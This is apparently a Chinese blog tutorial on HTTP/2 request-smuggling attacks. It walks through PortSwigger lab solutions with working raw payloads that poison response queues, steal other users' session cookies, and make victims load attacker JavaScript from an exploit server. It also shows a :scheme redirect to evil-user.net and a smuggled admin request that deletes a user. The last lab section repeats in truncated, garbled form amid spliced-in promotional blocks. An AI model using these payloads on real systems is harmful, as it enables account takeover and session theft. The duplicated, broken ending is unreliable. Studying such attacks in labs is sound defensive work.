WEB安全-金手铐系列-HTTP 2高级请求夹带攻击--Advanced request smuggling_http 2攻击(1)

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n



POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n


#### 4. 如何窃取其他用户的响应


一个完整的请求走私攻击如下图:  
 ![请添加图片描述](https://img-blog.csdnimg.cn/59f66eb84d0d4c55a3e49741c0b912d8.jpeg)



> 
> 两个请求,由于前端以为只发了“一个”请求,所以第一个响应被正常返回给客户端了。  
>  但第二个响应却驻留在了前端与后端之间(响应序列中排第一)。  
>  当后续再有用户正常请求时,这个驻留响应将被发给这个用户,但问题出现了,这时这个用户真实的响应却驻留在了前后端之间。(并在响应序列中排第一)  
>  所以怎么窃取呢,这时如果攻击拿捏好时间,再次访问,则驻留响应就会发给攻击者,使攻击者获取别人的信息。
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/9fc988350ac64b8dbdac4db1e6bcfc22.jpeg)


使用Burp Intruder之类的工具,攻击者可以很容易地自动重新发出请求。这样做可以快速获取不同用户的各种回复,其中可能包含有用的数据。只要前端/后端连接保持打开,就可以继续窃取此类响应。连接关闭的确切时间因服务器而异,但常见的默认情况是在处理了100个请求后终止连接。有过成功先例,再次重新毒化一个新连接也很容易。



> 
> 为了更容易区分窃取响应,请在发送的两个请求中使用不存在的路径。这样自己的请求应该一致地收到404响应,易于区分。
> 
> 
> 



> 
> 例题 2
> 
> 
> 


#### 5. 通过CRLF注入完成请求走私攻击


部分网站采取了H2.CL和H2.TE攻击的基础防护


* 验证Content-Length
* 过滤掉Transfer-Encoding


相对应绕过方式有如下两种


* 在HTTP/1中,利用服务器处理独立换行符(\n)的差异来走私被禁止的标头。




| foo | bar\r\nTransfer-Encoding: chunked |
| --- | --- |


* HTTP/2中 \r\n标头值中不再有任何特殊意义,但在降为1.0时,HTTP/1后端服务器将看到两个不同的标头




| foo | bar\r\nTransfer-Encoding: chunked |
| --- | --- |



Foo: bar
Transfer-Encoding: chunked



> 
> 例题 3
> 
> 
> 


#### 6. 其他HTTP/2的报头注入攻击方式



> 
> 尽管下文介绍的很多种请求被HTTP/2规范正式禁止,但一些服务器未能有效地验证和阻止它们,导致可以利用。
> 
> 
> 


* 通过标头名称注入


冒号或者\r\n无法在HTTP/2中使用,但是在HTTP/1.1中可以使用。前端服务器未识别出异常,一个数据包传递到后端,后端使用HTTP/1.1识别出多个数据包,造成请求走私



foo: bar\r\nTransfer-Encoding: chunked\r\nX: ignore



Foo: bar\r\n
Transfer-Encoding: chunked\r\n
X: ignore\r\n


* 伪头部标头


HTTP/2中没有请求行或者状态行,这些数据信息是通过伪头部放到请求的最前面的(二进制)。在Burp中文本话表现为带有冒号开头的伪头部,与普通报头区分开来。伪标头一般有五个:


1. :method-请求方法。


如果method值中可包含空格,则您可以按如下方式注入完全不同的请求行




| :method | GET /admin HTTP/1.1 |
| --- | --- |
| :path | /anything |
| :authority | vulnerable-website.com |



GET /admin HTTP/1.1 /anything HTTP/1.1
Host: vulnerable-website.com


2. :path-请求路径。多重表头攻击。请注意,这包括查询字符串。




| :method | POST |
| --- | --- |
| :path | /anything |
| :path | /admin |
| :authority | vulnerable-website.com |


寻找前后端服务器处理差异,是否可以直接访问受控路径/admin


3. :authority-大致相当于HTTP/1 host标头。



> 
> 请参考文章 《host头攻击》
> 
> 
> 


4. :scheme-请求协议,通常为HTTP或HTTPS。攻击尝试写入全路径



:method GET
:path /anything
:authority vulnerable-website.com
:scheme https://evil-user.net/poison?


导致后续处理时出现异常,产生异常跳转。



:status 301
location https://evil-user.net/poison?😕/vulnerable-website.com/anything/


5. :status-响应状态代码(不在请求中使用)。


当网站将请求降级为HTTP/1时,使用其中一些伪头的值来动态构建请求行。这使构建攻击成为可能。


#### 7. HTTP/2请求报头差分多个请求包


在程序有效验证Content-Length并且不支持Transfer-Encoding时,导致上述方法失效时,可尝试此方法。




| :method | GET |
| --- | --- |
| :path | / |
| :authority | vulnerable-website.com |
| foo | bar\r\n\r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com |



> 
> 例题 4
> 
> 
> 


#### 8. HTTP请求隧道



> 
> 前述的各种利用方式都是建立在同一连接可以处理多个请求,但万一服务器对此有更严格的控制,甚至是不允许复用同一链接呢。
> 
> 
> * 同一IP或同一客户端才能使用一个连接  
>  ![请添加图片描述](https://img-blog.csdnimg.cn/afc1b697fa674b858d271122c073ea4d.png)
> 
> 
> 


* 利用请求隧道获取内部头部
	1. 漏洞确认:单纯使用HTTP/1其实无法确认是否能使用,但是HTTP/2降到1的程序,如果发送一个请求,却收到两个响应,则一存在请求走私漏洞。
	2. 获取内部添加的请求头:前后端对一个请求无差异,但是在处理请求头结束时往往有细微差别,前端默认原请求头末尾为标头结束。但后端往往认为\r\n是,则会将内部添加的请求头认为是正文一部分进行响应,导致泄露。



:method POST
:path /comment
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
foo

bar\r\n
Content-Length: 200\r\n
\r\n
comment=
x=1



POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3 (此处泄露内部请求头)
x=1


### 三、漏洞实例


#### 1. H2.CL请求走私([H2.CL request smuggling](https://bbs.csdn.net/topics/618545628))


* **目标**


引诱目标用户从攻击服务器加载恶意的JavaScript文件并调alert(document.cookie)。


* **解题思路**
	1. 探索网站,在repeater选项中,关掉\*\*update Content-length \*\* 打开 **Allow HTTP/2 ALPN override**
	2. 尝试如下代码可以任意发文自定义Host



POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: 自定义任意
Content-Length: 5

x=1


3. 构造攻击包。攻击服务其上,路径改为/resources,body改为alert(document.cookie)



POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.web-security-academy.net
Content-Length: 5

x=1


#### 2. 通过H2.TE请求走私实现响应队列中毒([Response queue poisoning via H2.TE request smuggling](https://bbs.csdn.net/topics/618545628))


* **目标**


通过毒化响应队列,进入/admin控制面板,删除账户calors  
 管理员每15秒登陆一次,链接每10次通讯后重置。


* **解题思路**


这道题设计的不难,但是能清晰的说明上述介绍的知识点


1. 尝试如下代码,如果出现第一次请求正常200响应,紧接着第二次请求,大概率出现404响应,则以为着存在请求走私漏洞。



POST / HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED (这是遗留的字段,会与第二个请求混在一起,形成无效访问,造成404响应)


2. 构造独立请求走私攻击包,路径替换为不存在路径,一般响应为404或200,但是若获取到302响应则为用户响应被窃取到。多尝试几次



POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net

           (末尾空两行,切记)


HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw; Secure; HttpOnly; SameSite=None
Content-Length: 0


4. 提换cookie,访问/admin



GET /admin HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw



My account

|

Users

carlos - Delete
wiener - Delete

5. 来吧,直接构造删除账户carlos的数据包



GET /admin/delete?username=carlos HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw


成功。



> 
> 因为使用的HTTP/2.0,通常认为2.0更难以攻击,又是二进制。所以安全机制不太重视,增加验证又比较繁琐。所以一旦攻击者打开思路尝试2.0的攻击,网站往往不堪一击。这也是新技术的通病,在前期安全上都是比较脆弱的。  
>  无比怀念曾经美好的田园时代,没有那么多安全措施,审计记录。网上信息,随便看、随便拿…
> 
> 
> 


#### 3. 通过CRLF注入的HTTP/2请求走私([HTTP/2 request smuggling via CRLF injection](https://bbs.csdn.net/topics/618545628))


* **目标**


通过HTTP/2请求走私攻击,访问其他用户账户  
 用户每15秒登陆访问一次首页。


* **解题思路**


这套题解题思路与上文介绍的方法一致,只是操作手法上需要点技巧


1. 首先熟悉网站逻辑,发现搜索框存在查看历史记录功能。
2. 构思攻击方式,是否可以将获取的其他用户请求,作为查询参数记录再次,从而获得受害者的session。开始测试
3. 首先测试是否存在请求走私的漏洞



POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked (通过burp的inspec更改哦shift+enter)

0

SMUGGLED


第二个响应包出现404,成功


4. 构造正式攻击包



POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked (通过burp的inspec更改哦shift+enter)

0

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE (从你原始访问中查找)
Content-Length: 800

search=x (成功后,受害用户的请求会追加在X的后面)



x GET / HTTP/1.1 Host: acdc1f3b1fe924f3c0a40be5003700bc.web-security-academy.net Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=qvHGe1m6kiIC3EcMdWcnksGZ6CCm2mKm; secret=3ueqN4UctgUj1NzlqzbqiHS3xFTXuPvw; session=zZYqqqLYqWV9GmHigSAktW9ZK2PEX7Ln; _lab_analytics=ONoFOFv7dqHOhmz26Yiq20JD3mOfvBzrEQBDtUnnDTjCsyyhmxDZ


得到session


5. 替换访问首页数据包的session即可


#### 4. 通过CRLF注入拆分HTTP/2请求([HTTP/2 request splitting via CRLF injection](https://bbs.csdn.net/topics/618545628))


* **目标**


通过毒化响应队列,进入/admin控制面板,删除账户calors  
 管理员每15秒登陆一次,链接每10次通讯后重置。  
 本提头部过滤不足


* **解题思路**


![img](https://img-blog.csdnimg.cn/img_convert/5ee7b4349c9d94aa26355c7b109b6098.png)
![img](https://img-blog.csdnimg.cn/img_convert/b6a3f8eb557920708d82ba359daaa29b.png)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

ssion即可


#### 4. 通过CRLF注入拆分HTTP/2请求([HTTP/2 request splitting via CRLF injection](https://bbs.csdn.net/topics/618545628))


* **目标**


通过毒化响应队列,进入/admin控制面板,删除账户calors  
 管理员每15秒登陆一次,链接每10次通讯后重置。  
 本提头部过滤不足


* **解题思路**


[外链图片转存中...(img-oc7JLyx2-1715690444520)]
[外链图片转存中...(img-3lDbwu61-1715690444520)]

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 29
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值